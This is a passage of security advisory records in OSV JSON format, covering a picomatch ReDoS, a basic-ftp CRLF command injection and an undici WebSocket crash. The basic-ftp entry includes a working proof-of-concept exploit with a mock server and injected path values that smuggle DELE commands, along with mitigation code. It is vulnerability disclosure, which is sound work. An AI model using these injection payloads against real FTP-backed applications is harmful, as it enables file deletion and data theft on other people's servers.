allowlists for accepted pattern syntax\n- run matching in an isolated worker or separate process with time and resource limits\n- apply application-level request throttling and input validation for any endpoint that accepts glob patterns\n\n### Resources\n- Picomatch repository: https://github.com/micromatch/picomatch\n- `lib/parse.js` and `lib/constants.js` are involved in generating the vulnerable regex forms\n- Comparable ReDoS precedent: CVE-2024-4067 (`micromatch`)\n- Comparable generated-regex precedent: CVE-2024-45296 (`path-to-regexp`)",
  "id": "GHSA-c2c7-rcm5-vvqj",
  "modified": "2026-03-27T21:36:13Z",
  "published": "2026-03-25T21:12:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33671"
    },
    {
      "type": "WEB",
      "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/micromatch/picomatch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Picomatch has a ReDoS vulnerability via extglob quantifiers"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "basic-ftp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.2.0"
            },
            {
              "fixed": "5.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "5.2.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39983"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T20:02:25Z",
    "nvd_published_at": "2026-04-09T18:17:02Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`basic-ftp` version `5.2.0` allows FTP command injection via CRLF sequences (`\\r\\n`) in file path parameters passed to high-level path APIs such as `cd()`, `remove()`, `rename()`, `uploadFrom()`, `downloadTo()`, `list()`, and `removeDir()`. The library\u0027s `protectWhitespace()` helper only handles leading spaces and returns other paths unchanged, while `FtpContext.send()` writes the resulting command string directly to the control socket with `\\r\\n` appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands.\n\n## Affected product\n\n| Product | Affected versions | Fixed version |\n| --- | --- | --- |\n| basic-ftp (npm) | 5.2.0 (confirmed) | no fix available as of 2026-04-04 |\n\n## Vulnerability details\n\n- CWE: `CWE-93` - Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)\n- CVSS 3.1: `8.6` (`High`)\n- Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L`\n- Affected component: `dist/Client.js`, all path-handling methods via `protectWhitespace()` and `send()`\n\nThe vulnerability exists because of two interacting code patterns:\n\n**1. Inadequate path sanitization in `protectWhitespace()` (line 677):**\n\n```javascript\nasync protectWhitespace(path) {\n    if (!path.startsWith(\" \")) {\n        return path;  // No sanitization of \\r\\n characters\n    }\n    const pwd = await this.pwd();\n    const absolutePathPrefix = pwd.endsWith(\"/\") ? pwd : pwd + \"/\";\n    return absolutePathPrefix + path;\n}\n```\n\nThis function only handles leading whitespace. It does not strip or reject `\\r` (0x0D) or `\\n` (0x0A) characters anywhere in the path string.\n\n**2. Direct socket write in `send()` (FtpContext.js line 177):**\n\n```javascript\nsend(command) {\n    this._socket.write(command + \"\\r\\n\", this.encoding);\n}\n```\n\nThe `send()` method appends `\\r\\n` to the command and writes directly to the TCP socket. If the command string already contains `\\r\\n` sequences (from unsanitized path input), the FTP server interprets them as command delimiters, causing the single intended command to be split into multiple commands.\n\n**Affected methods** (all call `protectWhitespace()` \u2192 `send()`):\n- `cd(path)` \u2192 `CWD ${path}`\n- `remove(path)` \u2192 `DELE ${path}`\n- `list(path)` \u2192 `LIST ${path}`\n- `downloadTo(localPath, remotePath)` \u2192 `RETR ${remotePath}`\n- `uploadFrom(localPath, remotePath)` \u2192 `STOR ${remotePath}`\n- `rename(srcPath, destPath)` \u2192 `RNFR ${srcPath}` / `RNTO ${destPath}`\n- `removeDir(path)` \u2192 `RMD ${path}`\n\n## Technical impact\n\nAn attacker who controls file path parameters can inject arbitrary FTP protocol commands, enabling:\n\n1. **Arbitrary file deletion**: Inject `DELE /critical-file` to delete files on the FTP server\n2. **Directory manipulation**: Inject `MKD` or `RMD` commands to create/remove directories\n3. **File exfiltration**: Inject `RETR` commands to trigger downloads of unintended files\n4. **Server command execution**: On FTP servers supporting `SITE EXEC`, inject system commands\n5. **Session hijacking**: Inject `USER`/`PASS` commands to re-authenticate as a different user\n6. **Service disruption**: Inject `QUIT` to terminate the FTP session unexpectedly\n\nThe attack is realistic in applications that accept user input for FTP file paths \u2014 for example, web applications that allow users to specify files to download from or upload to an FTP server.\n\n## Proof of concept\n\n**Prerequisites:**\n\n```bash\nmkdir basic-ftp-poc \u0026\u0026 cd basic-ftp-poc\nnpm init -y\nnpm install basic-ftp@5.2.0\n```\n\n**Mock FTP server (ftp-server-mock.js):**\n\n```javascript\nconst net = require(\u0027net\u0027);\nconst server = net.createServer(conn =\u003e {\n  console.log(\u0027[+] Client connected\u0027);\n  conn.write(\u0027220 Mock FTP\\r\\n\u0027);\n  let buffer = \u0027\u0027;\n  conn.on(\u0027data\u0027, data =\u003e {\n    buffer += data.toString();\n    const lines = buffer.split(\u0027\\r\\n\u0027);\n    buffer = lines.pop();\n    for (const line of lines) {\n      if (!line) continue;\n      console.log(\u0027[CMD] \u0027 + JSON.stringify(line));\n      if (line.startsWith(\u0027USER\u0027)) conn.write(\u0027331 OK\\r\\n\u0027);\n      else if (line.startsWith(\u0027PASS\u0027)) conn.write(\u0027230 Logged in\\r\\n\u0027);\n      else if (line.startsWith(\u0027FEAT\u0027)) conn.write(\u0027211 End\\r\\n\u0027);\n      else if (line.startsWith(\u0027TYPE\u0027)) conn.write(\u0027200 OK\\r\\n\u0027);\n      else if (line.startsWith(\u0027PWD\u0027))  conn.write(\u0027257 \"/\"\\r\\n\u0027);\n      else if (line.startsWith(\u0027OPTS\u0027)) conn.write(\u0027200 OK\\r\\n\u0027);\n      else if (line.startsWith(\u0027STRU\u0027)) conn.write(\u0027200 OK\\r\\n\u0027);\n      else if (line.startsWith(\u0027CWD\u0027))  conn.write(\u0027250 OK\\r\\n\u0027);\n      else if (line.startsWith(\u0027DELE\u0027)) conn.write(\u0027250 Deleted\\r\\n\u0027);\n      else if (line.startsWith(\u0027QUIT\u0027)) { conn.write(\u0027221 Bye\\r\\n\u0027); conn.end(); }\n      else conn.write(\u0027200 OK\\r\\n\u0027);\n    }\n  });\n});\nserver.listen(2121, () =\u003e console.log(\u0027[*] Mock FTP on port 2121\u0027));\n```\n\n**Exploit (poc.js):**\n\n```javascript\nconst ftp = require(\u0027basic-ftp\u0027);\n\nasync function exploit() {\n  const client = new ftp.Client();\n  client.ftp.verbose = true;\n  try {\n    await client.access({\n      host: \u0027127.0.0.1\u0027,\n      port: 2121,\n      user: \u0027anonymous\u0027,\n      password: \u0027anonymous\u0027\n    });\n\n    // Attack 1: Inject DELE command via cd()\n    // Intended: CWD harmless.txt\n    // Actual:   CWD harmless.txt\\r\\nDELE /important-file.txt\n    const maliciousPath = \"harmless.txt\\r\\nDELE /important-file.txt\";\n    console.log(\u0027\\n=== Attack 1: DELE injection via cd() ===\u0027);\n    try { await client.cd(maliciousPath); } catch(e) {}\n\n    // Attack 2: Double DELE via remove()\n    const maliciousPath2 = \"decoy.txt\\r\\nDELE /secret-data.txt\";\n    console.log(\u0027\\n=== Attack 2: DELE injection via remove() ===\u0027);\n    try { await client.remove(maliciousPath2); } catch(e) {}\n\n  } finally {\n    client.close();\n  }\n}\nexploit();\n```\n\n**Running the PoC:**\n\n```bash\n# Terminal 1: Start mock FTP server\nnode ftp-server-mock.js\n\n# Terminal 2: Run exploit\nnode poc.js\n```\n\n**Expected output on mock server:**\n\n```\n\"OPTS UTF8 ON\"\n\"USER anonymous\"\n\"PASS anonymous\"\n\"FEAT\"\n\"TYPE I\"\n\"STRU F\"\n\"OPTS UTF8 ON\"\n\"CWD harmless.txt\"\n\"DELE /important-file.txt\"   \u003c-- injected from cd()\n\"DELE decoy.txt\"\n\"DELE /secret-data.txt\"      \u003c-- injected from remove()\n\"QUIT\"\n```\n\nThis command trace was reproduced against the published `basic-ftp@5.2.0`\npackage on Linux with a local mock FTP server. The injected `DELE` commands are\nreceived as distinct FTP commands, confirming that CRLF inside path parameters\nis not neutralized before socket write.\n\n## Mitigation\n\n**Immediate workaround**: Sanitize all path inputs before passing them to basic-ftp:\n\n```javascript\nfunction sanitizeFtpPath(path) {\n  if (/[\\r\\n]/.test(path)) {\n    throw new Error(\u0027Invalid FTP path: contains control characters\u0027);\n  }\n  return path;\n}\n\n// Usage\nawait client.cd(sanitizeFtpPath(userInput));\n```\n\n**Recommended fix for basic-ftp**: The `protectWhitespace()` function (or a new validation layer) should reject or strip `\\r` and `\\n` characters from all path inputs:\n\n```javascript\nasync protectWhitespace(path) {\n    // Reject CRLF injection attempts\n    if (/[\\r\\n\\0]/.test(path)) {\n        throw new Error(\u0027Invalid path: contains control characters\u0027);\n    }\n    if (!path.startsWith(\" \")) {\n        return path;\n    }\n    const pwd = await this.pwd();\n    const absolutePathPrefix = pwd.endsWith(\"/\") ? pwd : pwd + \"/\";\n    return absolutePathPrefix + path;\n}\n```\n\n## References\n\n- [npm package: basic-ftp](https://www.npmjs.com/package/basic-ftp)\n- [GitHub repository](https://github.com/patrickjuchli/basic-ftp)\n- [Vulnerable source: Client.js protectWhitespace()](https://github.com/patrickjuchli/basic-ftp/blob/master/src/Client.ts)\n- [Vulnerable source: FtpContext.js send()](https://github.com/patrickjuchli/basic-ftp/blob/master/src/FtpContext.ts)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [OWASP: CRLF Injection](https://owasp.org/www-community/vulnerabilities/CRLF_Injection)",
  "id": "GHSA-chqc-8p9q-pq6q",
  "modified": "2026-04-09T19:06:10Z",
  "published": "2026-04-08T20:02:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-chqc-8p9q-pq6q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39983"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patrickjuchli/basic-ftp/commit/2ecc8e2c500c5234115f06fd1dbde1aa03d70f4b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patrickjuchli/basic-ftp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "basic-ftp has FTP Command Injection via CRLF"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "undici"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "undici"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-1528"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284",
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:07:26Z",
    "nvd_published_at": "2026-03-12T21:16:25Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nA server can reply with a WebSocket frame using the 64-bit length form and an extremely large length. undici\u0027s ByteParser overflows internal math, ends up in an invalid state, and throws a fatal TypeError that terminates the process. \n\n### Patches\n\n\n Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.\n\n### Workarounds\n\nThere are no workarounds.",
  "id": "GHSA-f269-vfmq-vjvj",
  "modified": "2026-03-13T20:07:26Z",
  "published": "2026-03-13T20:07:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/undici/security/advisories/GHSA-f269-vfmq-vjvj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1528"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3537648"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodejs/undici"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Undici: Malicious WebSocket 64-bit length overflows parser and crashes the client"
}